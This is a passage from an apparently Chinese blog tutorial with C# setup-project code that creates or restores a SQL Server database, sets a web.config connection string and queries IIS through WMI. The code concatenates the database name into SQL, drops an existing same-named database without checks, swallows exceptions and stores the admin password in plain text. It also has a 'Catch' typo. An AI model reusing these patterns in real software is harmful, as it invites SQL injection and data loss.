<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bool Restult = false;</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ExecuteSql("master", "USE MASTER IF EXISTS (SELECT NAME FROM SYSDATABASES WHERE NAME='" + DBName + "') DROP DATABASE " + DBName);</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ExecuteSql("master", "CREATE DATABASE " + DBName);</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ExecuteSql(DBName, GetSql("DBSQL.txt"));</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Restult = true;</FONT></DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</FONT></DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Catch</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </DIV>
<DIV>{</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return Restult;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #endregion</DIV>
<DIV>&nbsp;</DIV>
<DIV>从备份文件恢复数据库及数据库表</DIV>
<DIV>#region RestoreDB 从备份文件恢复数据库及数据库表</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// <SUMMARY></SUMMARY></DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// 从备份文件恢复数据库及数据库表</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// </DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// <PARAM name="DBName" />数据库名</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// <PARAM name="assemblyName" />配件中数据库脚本资源的名称</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// <RETURNS></RETURNS></DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; protected bool RestoreDB(string DBName)</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dir = this.Context.Parameters["targetdir"];</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bool Restult = false;</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string MSQL = "RESTORE DATABASE " + DBName +</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; " FROM DISK = '" + dir + @"data.bak' " +</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; " WITH MOVE 'Test' TO '" + @"c:\" + DBName + ".mdf', " +</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; " MOVE 'Test_log' TO '" + @"c:\" + DBName + ".ldf' ";</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ExecuteSql("master", "USE MASTER IF EXISTS (SELECT NAME FROM SYSDATABASES WHERE NAME='" + DBName + "') DROP DATABASE " + DBName);</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ExecuteSql("master", MSQL);</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Restult = true;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; finally</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 删除备份文件</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; File.Delete(dir + @"data.bak");</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; catch</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return Restult;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #endregion</DIV>
<DIV>这里可以到注册表读取SQL Server的安装路径，把恢复后的数据库文件放到data目录地下。在本例中，只是实现了恢复，并未进行标准的操作。其中Test和Test_log时备份时数据库的文件信息。如果想要从备份文件中恢复，请把文件包含到项目里并且设置和DBSQL.txt一样，嵌入到程序里。最后执行删除。不过我想应该有办法不把文件先安装到目标机器上，而是有方法想读取DBSQL.txt文件一样，直接恢复数据库，不过确实没想到办法，失败！</DIV>
<DIV>&nbsp;</DIV>
<DIV>网站安装好后，需要设置web.config文件，这里只涉及到连接字符串到设置，其他的可以同理修改。</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #region WriteWebConfig 修改web.config的连接数据库的字符串</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private bool WriteWebConfig()</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.IO.FileInfo FileInfo = new System.IO.FileInfo(this.Context.Parameters["targetdir"] + "/web.config");</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!FileInfo.Exists)</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throw new InstallException("Missing config file :" + this.Context.Parameters["targetdir"] + "/web.config");</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.Xml.XmlDocument xmlDocument = new System.Xml.XmlDocument();</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xmlDocument.Load(FileInfo.FullName);</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bool FoundIt = false;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; foreach (System.Xml.XmlNode Node in xmlDocument["configuration"]["appSettings"])</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (Node.Name == "add")</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (Node.Attributes.GetNamedItem("key").Value == "ConnectionString")</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Node.Attributes.GetNamedItem("value").Value = String.Format("Persist Security Info=False;Data Source={0};database={1};User ID={2};Password={3};Packet Size=4096;Pooling=true;Max Pool Size=100;Min Pool Size=1", ServerName, DBName, AdminName, AdminPwd);</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FoundIt = true;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!FoundIt)</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throw new InstallException("Error when writing the config file: web.config");</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xmlDocument.Save(FileInfo.FullName);</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return FoundIt;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #endregion</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>#region WriteRegistryKey 写注册表。安装部署中，直接有一个注册表编辑器，可以在那里面设置。</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private void WriteRegistryKey()</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 写注册表</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RegistryKey hklm = Registry.LocalMachine;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RegistryKey cqfeng = hklm.OpenSubKey("SOFTWARE", true);</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RegistryKey F = cqfeng.CreateSubKey("cqfeng");</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; F.SetValue("FilePath", "kkkk");</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #endregion</DIV>
<DIV>&nbsp;</DIV>
<DIV>操作IIS，建立网站等。可参考：</DIV>
<DIV><A href="http://blog.csdn.net/cqfeng/archive/2006/02/14/598943.aspx">用VS2005制作网页对IIS进行操作</A></DIV>
<DIV>&nbsp;</DIV>
<DIV>#region Connect 连接IIS服务器</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public bool Connect()</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (iis == null)</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return false;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _iisServer = new DirectoryEntry("IIS://" + iis + "/W3SVC/1");</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _target = iis;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _connection = new ConnectionOptions();</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _scope = new ManagementScope(@"\\" + iis + @"\root\MicrosoftIISV2", _connection);</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _scope.Connect();</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; catch</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </DIV>
<DIV>return false;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return IsConnected();</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public bool IsConnected()</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (_target == null || _connection == null || _scope == null) return false;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return _scope.IsConnected;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #endregion</DIV>
<DIV>&nbsp;</DIV>
<DIV>#region IsWebSiteExists 判断网站是否已经存在</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public bool IsWebSiteExists(string serverID)</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string siteName = "W3SVC/" + serverID;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ManagementObjectSearcher searcher = new ManagementObjectSearcher(_scope, new ObjectQuery("SELECT * FROM IIsWebServer"), null);</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ManagementObjectCollection webSites = searcher.Get();</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; foreach (ManagementObject webSite in webSites)</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ((string)webSite.Properties["Name"].Value == siteName)</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return true;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return false;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; catch</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return false;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #endregion</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #region GetNextOpenID 获得一个新的ServerID</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private int GetNextOpenID()</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DirectoryEntry iisComputer = new DirectoryEntry("IIS://localhost/w3svc");</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int nextID = 0;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; foreach (DirectoryEntry iisWebServer in iisComputer.Children)</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string sname = iisWebServer.Name;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int name = int.Parse(sname);</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (name &gt; nextID)</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</DIV>
